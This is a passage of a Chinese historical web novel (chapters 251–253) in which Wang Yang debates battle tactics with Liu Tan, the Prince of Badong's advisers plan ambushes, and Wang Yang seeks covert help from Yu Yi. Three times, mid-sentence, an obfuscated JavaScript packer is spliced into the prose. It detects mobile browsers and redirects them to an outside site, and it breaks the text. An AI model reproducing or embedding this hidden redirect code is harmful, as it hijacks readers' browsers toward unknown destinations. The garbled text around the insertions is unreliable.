如果真是一路的,那王揖就很可能知道巴东王的秘密,也很可能知道巴东王要灭王扬的口。所以当巴东王提出让王扬出使的时候,王扬马上意识到危险。而知道前因后果的王揖,也同样可能意识到危险!意识到了仍要附和巴东王,极力促成王扬出使,那王揖的用心,就值得怀疑了。 并且从结果上看,王扬如果在出使过程中挂了,这对王揖来说,可未必是坏事,对王泰更是如此,道理是一样的——**的假琅琊王氏,可比活着的省事多了。 所以甭管王揖怎样和王扬叔侄情深,怎样在外人面前夸赞王扬,王扬心中的弦,从来没有一刻松过。他甚至有些怀疑,王揖要带着他连玩六天的目的,是要降低他的防备,让他迷醉在“我阿叔看重我才华,和我在同一战线”这个美梦中,直到生命终结的最后时刻。就现在这种局面而言,轻信的代价可能是致命的。 也正因为如此,无论柳惔怎样问,王扬始终没有告诉他,幕后黑手是巴东王。因为他拿不准,柳惔在得知自己面对的敌人是巴东王的时候,会做什么选择。 他同样没有告诉柳惔的是,这次出使,他防的不光是那路藏在暗处的伏兵,还有阿叔这一路。阿叔有可能也是“伏兵”,只不过是早早地入了明处的“伏兵”而已。 柳惔不知道这些曲折,只以为王扬不顾使团其他人死活,站起来踱了几步后,问封一陵道: “封叔,如果我们不急着走,而是运兵上岸,挡住伏兵,掩护使团上船,可行吗?” “这个......” 封一陵开始思考这种方案。他虽然跟着柳国公打过不少仗,但从来没做过决策者,他更习惯做的是决策的执行者。比如现在国公爷直接下令,让他据守虎头滩,那他豁出去干就完了,至于要不要这样干,或者为什么这样干,而不是那样干,都不在他的考虑范围内。 王扬见封一陵似乎真在想如何登陆打个反伏击,便开口道: “不可如此。滩涂不大,船运迟滞。运的人少了,不足抗敌,运的人多了,耗费时间太长,易被击其半渡。即便仓促上岸,列阵未稳,敌兵掩杀使团而至,使团众人疲于奔命,冲我军阵,必引混乱!” 自古中外名将皆出于战场,因为不经战场,无法验其是否为名将。 不过名将之中,也分两种,一种是起于行伍,见惯战阵,身经百战,终磨砺成锋,独当一面。如狄青、岳武穆、韩世忠、徐达等。 另一种是从来没上过战场,可一朝受命,便成声名,指挥之定,恍若宿将。如班超、陈庆之、王阳明、袁崇焕。 前一种情况好理解,历锋镝之险,经生死之变,所见所听,所历所悟,皆从战场上来,可谓实践出真知,是故初时能战,继而惯战,终而善战。 后一种情况比较复杂。在战场之外,**战之法,大抵有三种。(特指冷兵器战争的指挥)一是得内行的指点传授。二是悟兵法。三是读战例。至于类似触类旁通这种辅助性的办法,就不列入其中了。 这三种主要途径中,第一种就不需说了,很好理解,戚继光是将门之后,汉尼拔也是军事世家,此类情况似习武之人有家学、得名师,自然事半功倍。可多数人没有这个条件,但没关系,天道留隙,兵术不绝,剩下两种途径只需要会读书,能读通,便可以。 所以自古以来,中外以书生拜将者,代不乏人,有覆军丧旅,沦为笑谈者;也有一战成名,用兵如神者。这其中的差别,并非天赋、运气、事机、运用等几句话就能概括的。 具体到王扬来说,他的情况有些特殊。他生于现代,自然没有惯于冷兵器作战的将军指点,可他相关研究论著读了不少,其中有些作者,还兼具现代职业军官的身份。在王扬看来,单就冷兵器战争而言,有些研究者确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507901|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实悟到了指挥的法门;有些则还在门外徘徊,说不到点子上。但无论如何吧,总归是开卷有益。 更有益的是兵法。相比现代的研究论著,古兵法才是真正的一手文献。不管是中国的还是西方的,但就冷兵器时代而论,除去少数没有中译本的情况(点名尼基弗鲁斯二世的PraeceptaMilitaria,居然到现在都没出正式的译本),王扬也算读了个七七八八,越读便越觉得,中外用兵之道,实在相通,就连有些技术上的枝节,想法也是不约而同。 至于战例,那王扬就读得更多了,从陶顿战场的血草地,到西格弗雷德大军攻巴黎;从香积寺奋力一击,到湘军战江西...... 所以王扬虽然没有上过战场,但胸中藏兵已久,他知道真正的交战可不是像电视剧里,两边主帅下令冲锋,然后两军便嗷嗷叫地冲上去,乌压压地搅在一起。这种失去阵型的战法乃战场大忌,知兵者即便追败军也不敢如此追击,追几百步便要收军整队,以防败军反扑。《武经总要》言:“凡战胜逐奔,约三百步,则须收军整队。”《练兵实纪》云:“凡战胜追贼,约一里远,则听摔钹响,收军整队,恐贼穷返斗。”并且强调由主队将领自行发出,不必禀告中军。(明时一里三百六十步) 整队的原因是什么? 是要维持军阵。 无论中国还是西方,真正的战场对攻都是以“阵”为基础的。 这里的阵,指的不是带什么生门死门、阴阳五行那种演义小说里常用的假阵,也不是像宋太宗的平戎万全阵或者莫里斯一世的步骑混合阵那种繁复的大阵(此即宗泽问岳飞“阵图不足用耶”的“阵”),而指的是成序列的战术队形。这是将多个战斗单元统合在一起并能保持指挥的有效手段。 如果不理解,可以代入士兵的视角,当一名士兵一头莽上去拼命,四面八方都有可能遭受攻击,不仅易受杀伤,还极易产生心理恐惧,向后逃跑。但当士兵处于队列当中,身边都是战友,身后又有支撑(同也是防止擅自脱逃的屏障),还有主队的督管,便不易脱离队列,只能跟着大队向前碾杀。(这个道理也同样适用于整个队,小队之于大队,小阵之于大阵) 此外,冷兵器时代之战场指挥的精密程度有限,命令不会直接下达给士兵,而是给士兵所在的阵队,这就需要士兵不脱离战术队形,如此才能保证战斗集合,接受命令,实施战术意图。 所以在战场的一般情况下,一旦某一方丧失阵型,也就是电视剧里最常出现的四散一片打斗的场景,那多数情况下便代表了失败。士兵如果不赶快逃命,便只能等着对方军阵一边倒的收割。故而不管是“围师必阙”还是“飞骑冲阵”,其核心目的都是加速敌方军阵的崩溃。 不过双方都丧失阵型的混战并不算罕见,常见于大战胶着状态,敌我皆不知道胜负左右;或者双方组织度同时耗尽,两条阵线纠缠之一起。又或者几个小军阵单位高强度厮杀,尤其是灵活游走的试探进攻小队;还有特殊地形、特殊状况、战役特定局部和特定阶段等等。另外,骑兵在与步兵的对战中也有可能陷入混战,而这对于骑兵来说并非有利局面。 也正因为如此,所以兵家讲究“半渡而击”。所谓“击其半渡”,并非是在渡河部队渡到河中央的时候进攻,而是渡河军队渡过一半人数的时候发起攻击。因为这时军阵薄弱不成完型,且进退两难,易于击溃。 同样的道理,即便柳惔军登陆顺利,仓促列阵,但拼命逃窜的使团人众,很可能会引发军阵的松动,而松动,往往就是失败的开始。 第251章 对局(下) 这一次,柳惔没有听从王扬的话,目光坚定道: “兵法曰:‘陷之死地而后生,置之亡地而后存。’今我军登岸,背水一战,人必殊死而斗,此韩信破赵之策!今亦可用!” 王扬断然否决: “不可用! 韩信破赵,先以万人背水结阵,此固阵在先; 后佯败诱敌,轻骑两千,拔赵壁垒,此奇兵在后; 汉兵人少,易被包抄,背水而营,后顾无忧,故能以地形补兵力之阙,保持阵幅宽大,与敌相当,此因势在心。 先有固阵为基,这是正。再有批亢捣虚,这是奇。正奇皆备,而后可以用势。三者俱足,可置之死地而后生! 马谡不知此,有正无奇又不能察势,故徒陷死地而不能生。敢问柳兄,此战何者为正?何者为奇?又如何因势?” “这......” 柳惔不能答。 封一陵瞠目神凝。 柳惔沉默半晌道:“我是不知兵,但之颜你既才略如此,为何不布兵与敌一战?” 王扬看向柳惔:“你知道用兵的要义是什么吗?” 柳惔想了想说:“自然是整军备武,秣马厉兵......” 王扬摇头: “你说的这是用兵之前的事。理想状态下,操训士卒,讲**战阵,强弓劲**,甲固刀锋,选练天下精兵,得不世劲旅,以此而征,十全必克,此古今为将者所同望也。 然事常有不谐,韩信破魏,麾下精兵多诣荥阳以距楚,自将余者数万伐赵,故生‘驱市人而战’之言;陈豨劫略赵、代,高祖以羽檄征天下兵,未有至者,唯邯郸有兵,遂有‘竖子能为将乎’之问。 正因战备甲兵,不能每如人意,故需将领逞才。用兵之前,整军饬武,必固本笃行,不能取巧。然用兵之中,需极尽取巧之能事!有巧要抢巧,巧不可失;无巧要生巧,巧在人为。 川壑险阻,可张弓矢;高坡临下,宜纵飞骑;此占地利之巧。雾霭迷蒙,可隐军马;乘风凛冽,宜纵火攻;此占天时之巧。敌骄我怯,可设诈降;卒怒将疑,宜激内变;此占人心之巧。兵法十分,五分皆取巧之道! 今敌设伏于虎头路口,已占尽巧利,滩头不能急登兵,陆路又与汶阳郡区隔相背;除非早早抢在敌伏之前,派兵登岸,先驻高地。虽孤军无援,但也可一战。敌见我军有备,也许会退,也许多聚兵卒**。并且声言是你犯界在先。胜负先不论,此乃汉界之外,荆州司马护送使团的州兵都只能送到界山为止,你身为汶阳太守,没有上命便妄自兴兵越界,擅启边衅,到时蛮祸之发,归于你一身,你如何交待?” 封一陵在一旁听得暗暗心惊,柳惔神色几变,目光微垂,几番权衡之后,抬眼看向王扬: “我不明白,你既知有伏兵,为什么不上告刺史府?即便你不愿告知巴东王,也可以知会永宁太守,从永宁郡调兵走陆路到虎头,最是便宜......好吧,或许你有你的理由,我答应过不问,可以。但兹事体大,又涉百余人生死,已非一郡所能周全,既然你我现在都没有善策,那便必须寻求外助!” 王扬听音辨色,知柳惔意坚,便颓然叹了口气: “我之前说过,让你只相信我一个人.......” 柳惔马上说:“当然,所以我并没有上报,只是现在事情已非我们——” 王扬凝视着柳惔,缓缓道: “还有一句话我没说,其实我,也只相信你一个人。 荆州虽大,唯君可托矣。” 柳惔蓦地僵住,心中猛然一震。 望着王扬的眼睛,仿佛第一次真正看清那眼底藏着的,竟是如此沉重的孤独与信任。他忽然觉得有些愧疚,觉得自己执意要求外援的行为,辜负了王扬那沉甸甸的真心与托付。 所谓君子可欺之以方,指的就是这种情况了。 柳惔当即整衣肃容,对着王扬一揖: “惔一时思虑不周,几负君托,惭愧之至!” 王扬急忙答礼: “柳兄!你我之间,何须说这些?” 柳惔愧甚:“你以赤诚相待,我却险些因迂阔害事。之颜,抱歉,是我莽撞了......” 王扬“甚愧”:“柳兄快莫如此!如今敌暗我明,能得柳兄肝胆相照,实乃我之万幸。” “之颜,我知你这么做必有缘故,只是......只是之颜你文武双全,学通古今,论才具,论智谋,都胜我数倍!一定能有两全其美的办法!” 我又不是“戴高乐”(一戴高帽就乐)...... “没有。”王扬直接道。 柳惔坚持:“一定有!” 王扬无语:“真没有!” 柳惔抓住王扬的手腕,眼中闪着执拗的光:“再想一想......” 王扬是有办法,不过阿叔那一路是敌是友还分不清,为此冒险,殊为不智。 “柳兄,之前我们已经讨论得很明白了。所谓‘绝地无留’,虎头乃绝地,战必不利,没有别的办法可以想。” 柳惔缓缓松开王扬手腕,沉声道: “如果实在没有办法,那我便提前派兵登岸,就说是收到密报,有蛮人异动,我担心使团安危,所以发兵护卫。朝廷怪罪下来,我一力承担!” 王扬:...... “你就算派了兵,就一定能打赢?” “总要一试!” “兵者死生之事,不是拿来试的!” “兵者禁暴救乱,护国而战!我说的试便是战!敌要伏我使团,此乃衅鼓而攻!我应桴而战,有何不可?何况我已侦知其谋,是以有备算无备,如何不能一战?!” “你知道敌人是谁吗?” “南蛮。” “南蛮哪一部?” “哪一部有区别吗?” “如果不是南蛮呢?” “怎么可能?能把兵布到这个位置上,除了南蛮还有谁?” “知己知彼,百战不殆;知己不知彼,一胜一负;不知己,又不知彼,每战必殆!你新御汶阳,尚未到任,麾下能调动者多少,堪战者有多少,器仗如何,甲胄如何,军心如何你一概不知,可算知己?至于知彼就更谈不上了。你连敌方是谁都不知道,贸然派兵,岂有胜算?便是胜了,你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518160|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这么做,可能引发什么结果吗?” “你知道敌方是谁,你告诉我!” “就因为我知道,所以我不让你这么做!” 两人你一句我一句,越说越快,互不相让!封一陵站在一旁,目光在两人之间来回游移。看着两人的模样,喉结动了动,却始终没敢插话。 柳惔声音提高,神色慷慨:“我受任汶阳,牧守一方,岂能坐视我朝钦命使团,遭人屠戮!!” 王扬直接伸出一根手指:“一句话,你到底救不救你弟了?” 柳惔本来气势如虹,被王扬突然一句救不救弟弟了,将他好不容易聚起的气势削去一半,小声地说了句“救”,然后又和王扬继续掰扯起来,只是底气远没有刚才那么足了。 封一陵见两人争执不下,突然跨步上前,向柳惔抱拳道:“我有要事禀报二公子!” 柳惔一怔:“什么事?” 封一陵不语。 柳惔反应过来,看向王扬道:“之颜,那......” 王扬无奈点点头:“去吧去吧。” 柳惔和封一陵刚要出门,便听王扬叫道:“等等!” 柳惔回头,疑惑地看向王扬。 “你家那个酒酿红豆羹不错,再给我来一碗。再来一杯葡萄汁......葡萄浆。” 柳惔愕然又哑然。 王扬坦然且悠然。 两人对视片刻,同时笑了起来。 ...... 柳惔刚才和王扬争得口干舌燥,接过茶便喝。 “封叔,到底是什么事?” “国公爷的信二公子还记得吗?” “当然,我也是按父亲的意思办的,要救阿深,自然是要倚仗王扬,只是现在事有难决,不能贸然从他之计。” “国公爷还有四个字没写在信上。让我在二公子和王公子意见相左、争执不下时,再告诉公子。” “哪四个字?” “唯扬是从。” 柳惔一口茶呛了出来…… ...... 柳惔回到屋内,沉闷坐下,盯着王扬看,也不说话。 王扬斜倚在雕花窗棂旁,勺子轻搅红羹,带起缕缕甜香,悠悠道:“这羹做得不错,让我想起我以前吃过的一道小食,叫酒酿赤豆元宵......要不,你也来一碗?” “就按你说的办。”柳惔忽然开口。 王扬停勺:“你说的羹还是......” 柳惔悻悻道:“羹就不听你的了。我没胃口。” 王扬一笑:“那我敬你一杯葡萄浆!” 柳惔看着王扬,无比认真:“我希望你能给我一个君子之诺。” “诺什么?” “你要尽力为使团的人谋划一条生路。” 王扬舀羹吃了两勺,说道:“其实使团的生路,从来都不需要我谋划。” 柳惔:??? “什么意思?” 王扬看着红豆在羹里沉浮,抬起眼,目光穿过丝丝热气,与柳惔相接: “他们本来就有生路,如果可以的话,我会为他们指出来。” 第252章 无患 “好好好!恭舆啊恭舆,你果然是本王的张良!那句话怎么说来着?” 孔长瑜躬身提醒道:“运筹帷幄之中,决胜千里之外。” “不错不错,就是这句。本王得恭舆,可以无忧矣!” 巴东王自觉上次处事有些失当,倒不是说骂李敬轩有什么,而是既然王扬之死已成定局,那在当下这种紧要关口上,实在不该为了将死的外人,平白离了下属的心。李敬轩虽然有时候可厌,但才华还是毋庸置疑的,既要倚重,便该适时安抚,免得他心生芥蒂。 所以巴东王今日对李敬轩多有赞语。按照常理,得王爷如此夸奖,李敬轩不管是谦虚一下还是表一波忠心,都该有所回应,可李敬轩却好像什么都没听见似的,看着沙盘,完全没有要回话的意思。 孔长瑜扯一下李敬轩的衣袖,李敬轩这才如惊醒般向巴东王谢罪。 巴东王笑道:“想什么呢?” 李敬轩凝神道:“敬轩在想,敬轩布的这个杀局,并非没有漏洞。” 孔长瑜看了一眼李敬轩。 巴东王好奇道:“哦?漏洞在哪?” 李敬轩食指点在蓝色绸带上,指尖微微下陷:“就在沮水。” 巴东王愣了一下,随即失笑: “想多了吧,他们一没船二没翅膀,怎么过沮水?诶?不是你说那儿游不过去的吗?” “翅膀,是长不出来的;游,也游不过去的;不过船的话......” 李敬轩的指尖仍停留在绸带上,轻轻摩挲,语速很慢,眉头微蹙,像是在推演着什么。 巴东王纳闷儿问:“那不是荒无人烟吗?会有船?” 李敬轩收回手指,声音陡然一清,神色也从容起来: “王爷明鉴,按常理来说,虎头滩的确不会有船。但常形易睹,变数难防。万一恰巧有船经过,或者有人跳进水中,抱着浮木什么的被冲到下游,又侥幸不死.......” 巴东王笑了:“你怎么不说突然来一阵大风,给他们吹过岸去了。” 李敬轩肃然拱手: “定计需大胆,施行宜谨慎。若有万一,悔之无及。” 巴东王看向孔长瑜。 孔长瑜上前半步,低眉禀道: “下官以为,恭舆之言是也。诗云:‘谁谓河广,一苇杭之’。渡水之法,非止一端。 有船渡,有浮渡,有束薪为筏,有浮囊泅水,韩信以木罂缻渡军,西南夷有独竹漂渡,善谋者,不恃‘当然’而忽‘或然’,不因‘常见’而废‘罕见’。防其可防,备其难备,方为万全之策。” 巴东王敛去笑容,目光扫过沙盘上蜿蜒的蓝色绸带,沉吟片刻道: “好吧,那就让蛮子在虎头滩上再伏一队兵。” 李敬轩摇头道: “虎头滩不大,又与路口离得近,加之沙石摞(错字)露,一览无余,根本藏不了兵。使团远远一望,便知了端倪,如何肯向前走?若有前哨示警,说不定直接仓皇回逃,虽然林中有军截路,但使团马匹不少,又提前有了警惕,想要全部拦下,恐怕不易。” 巴东王皱眉:“那怎么办?” 李敬轩垂眸凝视沙盘: “让永宁蛮当天派小舟巡行水口,防止有外船误入......” 孔长瑜突然插话: “让他们多派些船,这样即便有漏网之鱼,也可以在鱼儿回程的时候堵住。” 巴东王哼了一声:“那些蛮子还不坐地起价,要本王更多锦缎?” 李敬轩道:“等事成之后,王爷大军在手,扫荡群蛮,他们要了多少锦缎,都得加倍吐出来!” 巴东王露出个笑容:“这是明白话。” 李敬轩先向巴东王一揖,然后手指沿着沙盘上的地形脉络平移,斟酌说道: “孔先生说堵住回程,此言在理,但漏网之鱼也有可能不回程,而是一直向前。不过就算船行到头,也只能到横冈便得弃船,到头来还是得上岸。所以不管有没有船,只要渡了沮水,那接下来便只有两个选择。一个是往回走,可往回走要穿越大片蛮区,九死一生,不会如此.....至于另一个......” 李敬轩盯着沙盘,双手拢袖,围着桌案缓缓踱步,目露精光: “至于另一个选择,便是继续向汶阳峡进发! 与之前我们选的几个伏击地不同。之前在沮水之西,一旦受到伏击,他们随时都可以折返!但过了沮水,再想折回,那可就难了。 相比之下,去汶阳峡反而要容易许多。起码中间没有蛮部盘踞。到了汶阳峡后可以和汶阳蛮谈判,由汶阳蛮派人护送,又或者传信回来,让我们遣人来接。嗯......正是如此.....如果要去汶阳峡的话......” 李敬轩走了小半圈后,突然停住脚步,摘下簪子,插在面前一处米山上: “要去汶阳峡,这鹅公嶂便是最近之路!于鹅公嶂再埋一路伏兵!可保无患!” ....... “......过了鹅公嶂,便到汶阳峡东,虽然路程比之前使团的路线绕了一些,不过也不会绕太多,步行的话,一天之内,可——” 王扬突然打断封一陵:“我不走鹅公嶂。” 封一陵愣住:“公子这是......” 柳惔也不解,问道:“为什么?” 王扬手掌伸向柳惔:“不理解吧?” 柳惔眨眨眼。 王扬手掌又转向封一陵:“没理由吧?” 封一陵点点头。 王扬收回手掌,一副高人姿态:“那就行!某特斯某威,不走寻常路。” 柳惔、封一陵:??? “鹅公嶂我不走的,我宁可绕过去......” 王扬手指在地图上一划,看向封一陵。 封一陵犹豫说: “绕过去是可以,顺着老蜈溪,过大竹岭、倒钵沟,穿过血乌林,便是汶阳峡。可是这一路有点远,没个三四天到不了......” 王扬道:“远点没关系,能到就行。” “并且.....”封一陵本想继续说,但见王扬态度明确,又把话咽了回去。 王扬问道:“封将军你要说什么,接着说。” 封一陵续道:“并且那是野蛮出没之地,不是很太平。” “野蛮?” “就是没有部族的生蛮。三五成群,截杀行旅。” “三五成群?没有大队吧?” “是,都是零散的小股,不成气候。我曾经走过一次倒钵沟,远远见到几个人影,应该是野蛮子,没敢露头就跑了。” 王扬想了想道:“如果我走这条路,你们有把握护我安全吗?” 封一陵语气没有丝毫迟疑:“可以。” 王扬拍板定了下来:“那就行,咱们就走大竹岭这条路!” ...... 李敬轩和孔长瑜走后,巴东王四下看了看,然后伸手拨出一小堆红豆,横掌挡在红豆之后,俯下身,不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530289|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地绷紧了肩膀,深吸一口气,用力一吹。 “呼——” 几颗红豆朝他的方向骨碌碌地滚了回来。 巴东王瞳孔一缩,猛地直起身子,随即畅快大笑。 可不知为什么,笑着笑着,便再也笑不出来了。 巴东王一个人默默站在原地,只余方才的笑声,在空荡的堂上回荡。 “王爷,孔舍人求见。” 内侍的声音传来,数息之后,巴东王抬起头,神色恢复如初,冷声道:“传。” ...... “王爷,下官本来已经出了王府,可回去路上,想到一事,觉得有必要向王爷禀报。” “你说。” “李恭舆所布之杀局,尚有一处漏洞。” “还有漏洞?在哪?” “漏洞就在最后一处。王爷请看——” 孔长瑜将巴东王引到沙盘边,伸手一指: “鹅公嶂并不是到汶阳峡的必经之路,只是最便捷的路而已。” “你是说绕路?” “是。” 巴东王脸上露出荒谬的笑: “怎么可能?就算按你们说的,有人侥幸没死在虎头路口,又侥幸过了沮水,那他要做的,当然是尽快赶到汶阳峡寻求庇护,怎么可能还绕路?” “如果有活口过了沮水,那说不定会想到,自己被设计埋伏,进而想到,直接去汶阳峡,有可能也是死路一条......” 巴东王笑了一下,显然没把孔长瑜的话当回事。 孔长瑜向前微微倾身,缓缓吐字道: “王爷,如果那个活着过了沮水的人,是王扬,您真的觉得,他在这种情况下,一定会走鹅公嶂吗?” 巴东王神情一顿,只余烛火在眼底投下跳动的阴影。 过了一会儿,巴东王开口道: “那你的意思呢?” “大竹岭。如果他不走鹅公嶂,一定走大竹岭! 只是大竹岭在汶阳蛮和永宁蛮之间,属于中间地带,两部本来有约定,互不派兵至此。更何况如今他们正在停战谈判,永宁蛮恐怕不会答应在大竹岭伏兵。而我们更无法公然派兵去。最好的办法是派一队高手!真正的高手!伏在大竹岭!若真有——” “你去办吧,本王准了。” 巴东王突然回身,向堂外走。 孔长瑜愕然:“王爷......” “剩下是你的事了,本王乏了。” 巴东王声音冷漠,头也不回地离开中堂,只留孔长瑜看着巴东王的背影,若有所思。 ...... 王扬出了柳府,上了车,见陈青珊坐在车里,一副忧心忡忡的模样,问道: “怎么了小珊?” 陈青珊拧眉纠结: “我在想,我要不要多带一柄槊。” 王扬不假思索地说:“当然要啊,有备无患嘛。” 陈青珊认真点头:“有道理。”可随即又拧起眉:“可我去哪再弄一柄槊呢?” “放心,我已经和柳惔说好了,到时会准备一柄好槊,放在船上。” 王扬说完,提高声音,向车前吩咐道:“老宋,去庾宅。” 陈青珊好奇问:“这么晚了,去庾宅做什么?” 王扬神秘一笑:“我都要走了,不得告一下别呀!” 陈青珊似懂非懂地点点头,小声念叨道:“有备无患......” 王扬看向陈青珊,眼神震惊! 第253章 解梦 轩窗烛影重,公子立庭中。 庾家两位公子并肩而立,望着大屋灯火处,陷入沉思。 “诶?你有没有发现,不知道从什么时候开始,他们说话都不带我们了。”庾于陵突然开口道。 庾黔娄微怔:“他们说话什么时候带过我们?” 庾于陵一噎:“呃......倒也是。但为什么不让我们在场,难道我们不够资格吗?” 庾黔娄木然看向弟弟。 庾于陵神色微尬,小声道:“好像确实不够。” 庾黔娄又木然地把头转了回去。 “诶?不对呀!我是不够,但你是州主簿,为啥你也不能在座?”庾于陵疑惑问。 庾黔娄注视着屋中人影,喃喃道:“州主簿有什么的,州长史又怎么样......” “他学问实在太好......”庾于陵感慨又歆羡地叹了口气。 庾黔娄只觉弟弟一味学问,还是太单纯,也没多解释,只是轻声说: “他厉害之处,可不在学问。” 庾于陵摇摇头,负手道: “你不懂。有人以读书通世事,有人以世事通读书。经纶中自有山河影,世味里原藏典谟音。道之一字,殊途同归。” 庾黔娄目光一震,惊异地看向弟弟。 庾于陵背手而立,保持了数息高人的形象,然后不好意思地笑道: “这是王扬讲学的时候说的。” 庾黔娄:...... ...... “等等。”庾易眸色倏然一凝,眼中射出清炯炯的光:“公子方不方便说得明白一些。让公子出使,究竟是王爷的意思,还是令叔父的意思?” 王扬道:“王爷先有此议,叔父赞成之。” 庾易追问:“如何赞成?” 王扬答曰:“大为赞成。” 庾易沉思不语。 王扬看了看庾易表情,续道:“先生也知道,如今是多事之秋——” “多事之秋?”庾易第一次听到这个词。 王扬解释道: “秋日肃杀,万物将藏。如今蛮乱不靖,胡尘多事,恰如草木摇落之秋也。” “公子博闻强识,我不及也。此词于今日......甚切。” 庾易看向王扬,目有深意。 王扬欠身道: “先生缪赞,扬不敢当。先生交游广阔,遍历山川,见闻之博,岂是扬能比的?扬今日来,除了向先生辞行之外,便是想请教先生,关于赴蛮的路线问题......” 庾易一边执壶添茶,一边说道: “线路问题还是不要和我讨论了。毕竟我一介白衣,又是局外人,如何能闻使团要务?再说——” 庾易略微一停顿,然后稍稍加重语气道: “——如今可是多事之秋。万一出使路上出了什么差错的话......” 庾易放下茶壶,抱歉一笑: “公子见谅,我不是说出使会出差错,而是......” “明白,先生说的是万一......” 庾易点头,似乎在回应王扬,又似在自言自语: “对,是万一......” 王扬一笑: “其实也没什么好保密的。去汶阳峡前面的话还有几条路可以选,过了界山后就那一条路,人所共知。不过我这里倒真有一条别人都不知道的路线。” “那就更不能和我说了。” 庾易不再看王扬,低垂着眼,徐徐吹着茶汤,似乎完全不想继续话题的样子。 王扬略一思索,语气轻松说道: “这其实是我做梦梦到的线路,只有我一个人知道,和使团没关系,纯粹觉得有趣,想请先生参详一下。” 庾易放下茶盏,露出个笑容: “原来是做梦啊,那不妨说说看,我对解梦倒有些心得。” ...... “阿兄,你说他们在聊什么,还不能让我们听?”庾于陵看着窗影,困色盈眸。 庾黔娄深沉道:“不知。” “嘁,还是主簿呢......”庾于陵小声嘟囔。 庾黔娄深沉不下去了:“这跟主簿有什么关系???” 庾于陵故意不屑道:“都做主簿了,还跟我一个待遇,什么都不知道......” “谁跟你一个待遇,我知道的比你多多了......” 庾于陵得逞,凑近问道:“兄长都知道什么,说来听听。” 庾黔娄恍然而悟,随即负手于后,目光深邃,缓缓道: “世道不怜才,佳人常误身。此是天地不仁。既赋灵秀,却使堕尘俗世;既种情根,偏又生薄幸郎。” 庾于陵齿间一凉,看向兄长,满目惊诧。 庾黔娄深邃了数秒后笑道: “王扬说的。” 庾于陵眼睛瞪圆: “我怎么不知道?!《王之颜语录拾萃》里的?不对呀,我全文能诵,里面也没有这句啊!” “这是前几日周乔升录事(省|厅文书|处处|长),在停云馆设宴,酒过半酣后王扬说的,你当然不知道。” 庾于陵甚觉遗憾:“周乔怎么不请我......” 庾黔娄神凝气静,慢悠悠道: “你又不是主簿......” 庾于陵:...... ...... “......到了虎头滩,突然一阵妖风,给我刮到东岸——” “慢来!”庾易打断王扬,费解问道:“怎么还出来妖风了?还刮过沮水了??” 王扬眼底掠过一丝玩味: “这个......我倒是可以细细为先生解说......” 庾易一怔,马上道:“做梦嘛,妖风很正常的。不用解说!” 王扬道:“对啊,别说做梦,不做梦也可能有风。” 庾易点头: “正是如此。多事之秋,刮个风有什么不正常的?之颜你接着说梦。” “嗯。我梦里顺着老蜈溪,走大竹岭,行倒钵沟,过血乌林......” 庾易抿了口茶,冷不丁地来了一句:“这片有生蛮出没,须留神。” 王扬笑道:“是,也赶巧,我梦里还带着一队护卫。” 庾易指尖在青瓷盏侧微微一旋,笑意温润: “带护卫好呀。” 王扬眉头轻蹙:“但我还有些不放心。” 庾易抬眼:“哪里不放心?” “怕护卫不够。” “多带些嘛。” “带不了许多......” “生蛮乌合之众。” “我喜欢有备无患。” “如何算是有备呢?” “要是能有人借我些高手的话......”王扬看向庾易,目光微闪。 庾易语气为难:“这个......梦中不太好借呀。” “梦外呢?” “梦外就更不好借了。” 两人谈谈说说,语气丝滑,如闲话家常。 王扬释然一笑: “此事确实有些麻烦,不过还好,反正是梦中......那我就先告辞了,等日后有机会再向先生请教。” 王扬起身离席,庾易忽然道: “其实你也不需太过忧心,毕竟江湖这么大,从来不缺侠客的。” 王扬喜道:“会有侠客来吗?” 庾易伸展手臂,袖垂如流水,气定神闲道: “张茂先有诗云‘侠客乐幽险’。如果你真的遇险,应该会吧。” 王扬衣袂卷月,退步生云,执礼道:“多谢先生。” 庾易奇道:“咦?你谢我做什么?” “空山难觅侠客影,红尘自有济时心。王扬,谢先生解梦!” 王扬郑重一揖。 庾易愣了片刻,随即—— 展颜而笑。 ...... 王扬一走,庾易立即来到书案前,展开信笺,提笔写道: “沧溟无玉幽人再拜宣龙击柱居士——” 庾易写完士字,忽然停笔,目光凝在信纸上,似乎穿透墨迹,望向某个遥远的所在。 俄顷,庾易放下毛笔,拿起信笺,凑近烛焰。 一个个墨字在炽热的橙红中蜷曲变形,化作飞旋的灰烬,飘落在砚台里,与浓稠墨汁纠缠交融,沉入一片深黑。 庾易凝视着砚中怎么都望不透的混沌墨色,枯坐半晌,轻喟而叹: “宸衷难测呀......” —————— 